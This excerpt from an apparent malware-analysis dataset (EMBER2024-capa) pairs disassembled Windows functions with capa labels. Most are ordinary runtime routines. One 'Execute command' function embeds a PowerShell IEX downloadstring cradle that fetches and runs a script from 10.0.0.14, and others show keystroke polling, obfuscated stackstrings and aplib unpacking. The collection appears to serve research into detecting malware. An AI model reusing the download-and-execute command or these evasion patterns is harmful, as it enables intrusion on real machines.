joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14013568a
Capabilities:
Write file on windows

Disassembly:
jmp 0x1402c9520
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1b8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x32
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1d8]
mov rax, qword [0x1404efd40]
xor rax, rbp
mov qword [rbp + 0x170], rax
lea rcx, [0x140529702]
call fcn.1401357f7
mov rax, qword [rbp + 0x1a0]
cmp qword [rax + 0x68], 0
je 0x1402c9586
mov rax, qword [rbp + 0x1a0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x1402c958d
mov al, 1
jmp 0x1402c96fd
mov rax, qword [rbp + 0x1a0]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x158], rax
call fcn.140130b94
mov dword [rbp + 0x160], eax
mov edx, dword [rbp + 0x160]
mov rcx, qword [rbp + 0x1a0]
call qword [rbp + 0x158]
mov dword [rbp + 0x164], eax
call fcn.140130b94
mov dword [rbp + 0x168], eax
mov edx, dword [rbp + 0x164]
mov ecx, dword [rbp + 0x168]
call fcn.1401341cc
movzx eax, al
test eax, eax
je 0x1402c95f0
xor al, al
jmp 0x1402c96fd
mov qword [rbp + 8], 0x20
mov rax, qword [rbp + 0x1a0]
mov rax, qword [rax + 0x68]
mov qword [rbp + 0x158], rax
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x1a0]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x160], eax
cmp dword [rbp + 0x160], 0
je 0x1402c9663
cmp dword [rbp + 0x160], 1
je 0x1402c966e
cmp dword [rbp + 0x160], 3
je 0x1402c96ec
jmp 0x1402c96fb
mov rax, qword [rbp + 0x1a0]
mov byte [rax + 0x71], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x1402c96be
mov rax, qword [rbp + 0x1a0]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp qword [rbp + 0x88], rax
je 0x1402c96be
xor al, al
jmp 0x1402c96fd
mov rax, qword [rbp + 0x1a0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x1402c96d9
mov dword [rbp + 0x154], 1
jmp 0x1402c96e3
mov dword [rbp + 0x154], 0
movzx eax, byte [rbp + 0x154]
jmp 0x1402c96fd
mov rax, qword [rbp + 0x1a0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x1402c96fd
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x1403f7be0]
call fcn.1401345dc
mov rax, rdi
mov rcx, qword [rbp + 0x170]
xor rcx, rbp
call fcn.140132200
lea rsp, [rbp + 0x188]
pop rdi
pop rbp
ret
Function at 0x140372cb0
Capabilities:
Register raw input devices

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x50
lea rdi, [rsp + 0x20]
mov ecx, 0xc
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x60]
mov eax, 1
mov word [rsp + 0x28], ax
mov eax, 2
mov word [rsp + 0x2a], ax
mov dword [rsp + 0x2c], 0
mov rax, qword [rsp + 0x60]
mov rax, qword [rax + 0x358]
mov qword [rsp + 0x30], rax
mov r8d, 0x10
mov edx, 1
lea rcx, [rsp + 0x28]
call qword [sym.imp.USER32.dll_RegisterRawInputDevices]
test eax, eax
jne 0x140372d28
lea rdx, str.Win32:_Failed_to_register_raw_input_device
mov ecx, 0x10008
call fcn.140130f95
mov rcx, rsp
lea rdx, [0x140428660]
call fcn.1401345dc
add rsp, 0x50
pop rdi
ret

Function at 0x140372d50
Capabilities:
Register raw input devices

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x50
lea rdi, [rsp + 0x20]
mov ecx, 0xc
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x60]
mov eax, 1
mov word [rsp + 0x28], ax
mov eax, 2
mov word [rsp + 0x2a], ax
mov dword [rsp + 0x2c], 1
mov qword [rsp + 0x30], 0
mov r8d, 0x10
mov edx, 1
lea rcx, [rsp + 0x28]
call qword [sym.imp.USER32.dll_RegisterRawInputDevices]
test eax, eax
jne 0x140372dc0
lea rdx, str.Win32:_Failed_to_remove_raw_input_device
mov ecx, 0x10008
call fcn.140130f95
mov rcx, rsp
lea rdx, [0x1404286b0]
call fcn.1401345dc
add rsp, 0x50
pop rdi
ret

Function at 0x140373300
Capabilities:
Log keystrokes via polling

Disassembly:
push rdi
sub rsp, 0x30
mov dword [rsp + 0x20], 0
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x14037332e
mov eax, dword [rsp + 0x20]
or eax, 1
mov dword [rsp + 0x20], eax
mov ecx, 0x11
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x14037334e
mov eax, dword [rsp + 0x20]
or eax, 2
mov dword [rsp + 0x20], eax
mov ecx, 0x12
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x14037336e
mov eax, dword [rsp + 0x20]
or eax, 4
mov dword [rsp + 0x20], eax
mov ecx, 0x5b
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
mov dword [rsp + 0x24], eax
mov ecx, 0x5c
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
mov ecx, dword [rsp + 0x24]
or ecx, eax
mov eax, ecx
and eax, 0x8000
test eax, eax
je 0x1403733a6
mov eax, dword [rsp + 0x20]
or eax, 8
mov dword [rsp + 0x20], eax
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 1
test eax, eax
je 0x1403733c4
mov eax, dword [rsp + 0x20]
or eax, 0x10
mov dword [rsp + 0x20], eax
mov ecx, 0x90
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 1
test eax, eax
je 0x1403733e2
mov eax, dword [rsp + 0x20]
or eax, 0x20
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add rsp, 0x30
pop rdi
ret
Function at 0x140029a3c
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001d044
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001d044
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140029b8c
cmp rax, 0xffffffffffffffff
je 0x140029b8c
xor edi, edi
test rbp, rbp
jle 0x140029b37
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001f958
mov rbx, rax
test rax, rax
jne 0x140029ac4
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140029b2d
mov edx, 0x8000
mov ecx, r14d
call fcn.14001a9ac
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001dd20
cmp eax, 0xffffffff
je 0x140029b0d
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140029ad4
mov edx, r15d
mov ecx, r14d
call fcn.14001a9ac
jmp 0x140029b2d
cmp byte [rsi + 0x38], dil
je 0x140029b24
cmp dword [rsi + 0x34], 5
jne 0x140029b24
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140029b2d
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001b710
jmp 0x140029ba0
jns 0x140029ba0
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001d044
cmp rax, 0xffffffffffffffff
jne 0x140029b58
cmp byte [rsi + 0x30], dil
je 0x140029ba0
mov edi, dword [rsi + 0x2c]
jmp 0x140029ba0
mov ecx, r14d
call fcn.140018e64
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140029ba0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140029ba0
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140029b99
mov eax, dword [rsi + 0x2c]
jmp 0x140029b9e
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001d044
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x14002ac90
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002acb8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14002acb8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x140001b18
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b62
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b62
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b62
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b62
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b62
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b64
xor al, al
add rsp, 0x28
ret
Function at 0x14101a058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.14101a1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14101a089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14101a06f
add dl, dl
jne 0x14101a096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14101a0f6
xor eax, eax
add dl, dl
jne 0x14101a0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14101a1ad
add dl, dl
jne 0x14101a0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14101a0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14101a0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14101a0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14101a0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14101a07e
mov eax, 1
add dl, dl
jne 0x14101a106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14101a113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14101a0fb
sub eax, ebx
mov ebx, 1
jne 0x14101a14c
mov ecx, 1
add dl, dl
jne 0x14101a12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14101a13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14101a123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14101a07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14101a168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14101a175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14101a15d
cmp eax, 0x7d00
jae 0x14101a19b
cmp eax, 0x500
jb 0x14101a196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14101a07e
cmp eax, 0x7f
ja 0x14101a19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14101a07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14101a1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14101a07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140004460]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140004470]
mov dword [rax], 1
mov rax, qword [0x140004480]
mov dword [rax], 1
mov rax, qword [0x140004410]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140004450]
mov dword [0x14000700c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140004520]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140004500]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400043c0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001450
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
call dbg.__main
lea rax, str.powershell.exe__IEX___new_object_net.webclient_.downloadstring_http:__10.0.0.14_powershell_attack.txt____
mov rcx, rax
call sym.system
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140001740
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x14003439d
Capabilities:
Parse pe header

Disassembly:
jmp 0x140073124
xor r8d, r8d
xor edx, edx
jmp 0x140072e14

Function at 0x140034889
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x14007b0c4
push rbx
sub rsp, 0x20
mov rbx, rcx
lea r9, [0x1400ad570]
mov ecx, 3
lea r8, [0x1400ad568]
lea rdx, str.FlsAlloc
call fcn.14007a770
test rax, rax
je 0x14007b100
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp qword [0x1400ca020]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TlsAlloc]

Function at 0x140034df7
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0x140099094
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x40
mov rax, qword [0x1400bf008]
xor rax, rsp
mov qword [rsp + 0x30], rax
xor r10d, r10d
lea r11, [0x1400a7028]
test r9, r9
lea rdi, [0x1400aab24]
mov rax, rdx
mov r15, rdx
cmovne r11, r9
test rdx, rdx
lea ebp, [r10 + 1]
cmovne rdi, rdx
mov r14d, ebp
cmovne r14, r8
neg rax
sbb rsi, rsi
and rsi, rcx
test r14, r14
jne 0x1400990fd
mov rax, 0xfffffffffffffffe
jmp 0x14009924b
cmp word [r11 + 6], r10w
jne 0x14009916c
movzx r9d, byte [rdi]
inc rdi
test r9b, r9b
js 0x140099127
test rsi, rsi
je 0x140099118
mov dword [rsi], r9d
test r9b, r9b
setne r10b
mov rax, r10
jmp 0x14009924b
mov al, r9b
and al, 0xe0
cmp al, 0xc0
jne 0x140099135
mov r8b, 2
jmp 0x140099153
mov al, r9b
and al, 0xf0
cmp al, 0xe0
jne 0x140099143
mov r8b, 3
jmp 0x140099153
mov al, r9b
and al, 0xf8
cmp al, 0xf0
jne 0x140099239
mov r8b, 4
movzx eax, r8b
mov ecx, 7
sub ecx, eax
mov edx, ebp
shl edx, cl
mov bl, r8b
sub edx, ebp
and edx, r9d
jmp 0x140099195
mov r8b, byte [r11 + 4]
mov edx, dword [r11]
mov bl, byte [r11 + 6]
lea eax, [r8 - 2]
cmp al, 2
ja 0x140099239
cmp bl, bpl
jb 0x140099239
cmp bl, r8b
jae 0x140099239
movzx ebp, bl
cmp rbp, r14
mov r9d, ebp
cmovae r9, r14
jmp 0x1400991c2
movzx ecx, byte [rdi]
inc rdi
mov al, cl
and al, 0xc0
cmp al, 0x80
jne 0x140099239
mov eax, edx
and ecx, 0x3f
shl eax, 6
mov edx, ecx
or edx, eax
mov rax, rdi
sub rax, r15
cmp rax, r9
jb 0x1400991a4
cmp r9, rbp
jae 0x1400991ee
movzx eax, r8b
sub bl, r9b
mov word [r11 + 4], ax
movzx eax, bl
mov word [r11 + 6], ax
mov dword [r11], edx
jmp 0x1400990f1
lea eax, [rdx - 0xd800]
cmp eax, 0x7ff
jbe 0x140099239
cmp edx, 0x110000
jae 0x140099239
movzx eax, r8b
mov dword [rsp + 0x20], 0x80
mov dword [rsp + 0x24], 0x800
mov dword [rsp + 0x28], 0x10000
cmp edx, dword [rsp + rax*4 + 0x18]
jb 0x140099239
test rsi, rsi
je 0x14009922c
mov dword [rsi], edx
neg edx
mov qword [r11], r10
sbb rax, rax
and rax, rbp
jmp 0x14009924b
mov qword [r11], r10
call fcn.1400350ef
mov dword [rax], 0x2a
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.14003563a
mov rbx, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x140035202
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
jmp 0x14003f304
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x140000000], ax
jne 0x14003f391
movsxd rcx, dword [0x14000003c]
lea rdx, [0x140000000]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x14003f391
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003f391
sub r8, rdx
movzx edx, word [rcx + 0x14]
add rdx, 0x18
add rdx, rcx
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
je 0x14003f378
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x14003f372
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x14003f37a
add rdx, 0x28
jmp 0x14003f357
xor edx, edx
test rdx, rdx
jne 0x14003f383
xor al, al
jmp 0x14003f397
cmp dword [rdx + 0x24], 0
jge 0x14003f38d
xor al, al
jmp 0x14003f397
mov al, 1
jmp 0x14003f397
xor al, al
jmp 0x14003f397
add rsp, 0x18
ret

Function at 0x140035798
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x14004db24
push rbx
sub rsp, 0x20
mov ebx, ecx
lea r9, [0x1400abae8]
mov ecx, 2
lea r8, [0x1400abae0]
lea rdx, str.FlsGetValue
call fcn.14004d5f4
mov ecx, ebx
test rax, rax
je 0x14004db5e
add rsp, 0x20
pop rbx
jmp qword [0x1400ca020]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x140035801
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x14003d310
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x1e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x178]
mov rax, qword [0x1400bf008]
xor rax, rbp
mov qword [rbp + 0x128], rax
lea rcx, [0x1400c90b6]
call fcn.140036d19
mov byte [rbp + 8], 0x60
mov byte [rbp + 9], 0x3d
mov byte [rbp + 0xa], 0xeb
mov byte [rbp + 0xb], 0x10
mov byte [rbp + 0xc], 0x15
mov byte [rbp + 0xd], 0xca
mov byte [rbp + 0xe], 0x71
mov byte [rbp + 0xf], 0xbe
mov byte [rbp + 0x10], 0x2b
mov byte [rbp + 0x11], 0x73
mov byte [rbp + 0x12], 0xae
mov byte [rbp + 0x13], 0xf0
mov byte [rbp + 0x14], 0x85
mov byte [rbp + 0x15], 0x7d
mov byte [rbp + 0x16], 0x77
mov byte [rbp + 0x17], 0x81
mov byte [rbp + 0x18], 0x1f
mov byte [rbp + 0x19], 0x35
mov byte [rbp + 0x1a], 0x2c
mov byte [rbp + 0x1b], 7
mov byte [rbp + 0x1c], 0x3b
mov byte [rbp + 0x1d], 0x61
mov byte [rbp + 0x1e], 8
mov byte [rbp + 0x1f], 0xd7
mov byte [rbp + 0x20], 0x2d
mov byte [rbp + 0x21], 0x98
mov byte [rbp + 0x22], 0x10
mov byte [rbp + 0x23], 0xa3
mov byte [rbp + 0x24], 9
mov byte [rbp + 0x25], 0x14
mov byte [rbp + 0x26], 0xdf
mov byte [rbp + 0x27], 0xf4
mov byte [rbp + 0x48], 0
mov byte [rbp + 0x49], 1
mov byte [rbp + 0x4a], 2
mov byte [rbp + 0x4b], 3
mov byte [rbp + 0x4c], 4
mov byte [rbp + 0x4d], 5
mov byte [rbp + 0x4e], 6
mov byte [rbp + 0x4f], 7
mov byte [rbp + 0x50], 8
mov byte [rbp + 0x51], 9
mov byte [rbp + 0x52], 0xa
mov byte [rbp + 0x53], 0xb
mov byte [rbp + 0x54], 0xc
mov byte [rbp + 0x55], 0xd
mov byte [rbp + 0x56], 0xe
mov byte [rbp + 0x57], 0xf
lea r8, [rbp + 0x48]
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x150]
call fcn.140036c33
mov r8d, 8
mov rdx, qword [rbp + 0x158]
lea rcx, [rbp + 0x150]
call fcn.1400346ea
mov eax, 1
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x1400a9430]
call fcn.140036544
mov eax, edi
mov rcx, qword [rbp + 0x128]
xor rcx, rbp
call fcn.14003563a
lea rsp, [rbp + 0x138]
pop rdi
pop rbp
ret
Function at 0x1400358c9
Capabilities:
Query environment variable

Disassembly:
jmp 0x140086108
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor r14d, r14d
mov rbx, rax
test rax, rax
je 0x1400861da
mov rsi, rax
cmp word [rax], r14w
je 0x14008615b
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], r14w
jne 0x140086143
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], r14w
jne 0x14008613f
mov qword [rsp + 0x38], r14
sub rsi, rbx
mov qword [rsp + 0x30], r14
add rsi, 2
sar rsi, 1
mov r8, rbx
mov r9d, esi
mov dword [rsp + 0x28], r14d
xor edx, edx
mov qword [rsp + 0x20], r14
xor ecx, ecx
call fcn.1400361fc
movsxd rbp, eax
test eax, eax
je 0x1400861da
mov rcx, rbp
call fcn.140034028
mov rdi, rax
test rax, rax
je 0x1400861cd
mov qword [rsp + 0x38], r14
mov r9d, esi
mov qword [rsp + 0x30], r14
mov r8, rbx
mov dword [rsp + 0x28], ebp
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rax
call fcn.1400361fc
test eax, eax
je 0x1400861cd
mov rsi, rdi
mov rdi, r14
jmp 0x1400861d0
mov rsi, r14
mov rcx, rdi
call fcn.14003415e
jmp 0x1400861dd
mov rsi, r14
test rbx, rbx
je 0x1400861eb
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rbx, qword [rsp + 0x50]
mov rax, rsi
mov rsi, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1400358d8
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x14004da74
push rbx
sub rsp, 0x20
mov rbx, rcx
lea r9, [0x1400abaa8]
xor ecx, ecx
lea r8, [0x1400abaa0]
lea rdx, str.FlsAlloc
call fcn.14004d5f4
test rax, rax
je 0x14004daad
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp qword [0x1400ca020]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TlsAlloc]

Function at 0x140035946
Capabilities:
Get geographical location

Disassembly:
jmp 0x14007b364
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov ebx, r9d
mov rdi, r8
mov esi, edx
lea r9, [0x1400ad658]
mov rbp, rcx
lea r8, [0x1400ad650]
lea rdx, str.GetLocaleInfoEx
mov ecx, 0xb
call fcn.14007a770
mov rcx, rbp
test rax, rax
je 0x14007b3ba
mov r9d, ebx
mov r8, rdi
mov edx, esi
call qword [0x1400ca020]
jmp 0x14007b3d1
xor edx, edx
call fcn.14003524d
mov ecx, eax
mov r9d, ebx
mov r8, rdi
mov edx, esi
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x140035950
Capabilities:
Terminate process

Disassembly:
jmp 0x14003eaf8
push rbx
sub rsp, 0x20
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]

Function at 0x140035a90
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400730c0
xor r8d, r8d
lea edx, [r8 + 2]
jmp 0x140072e14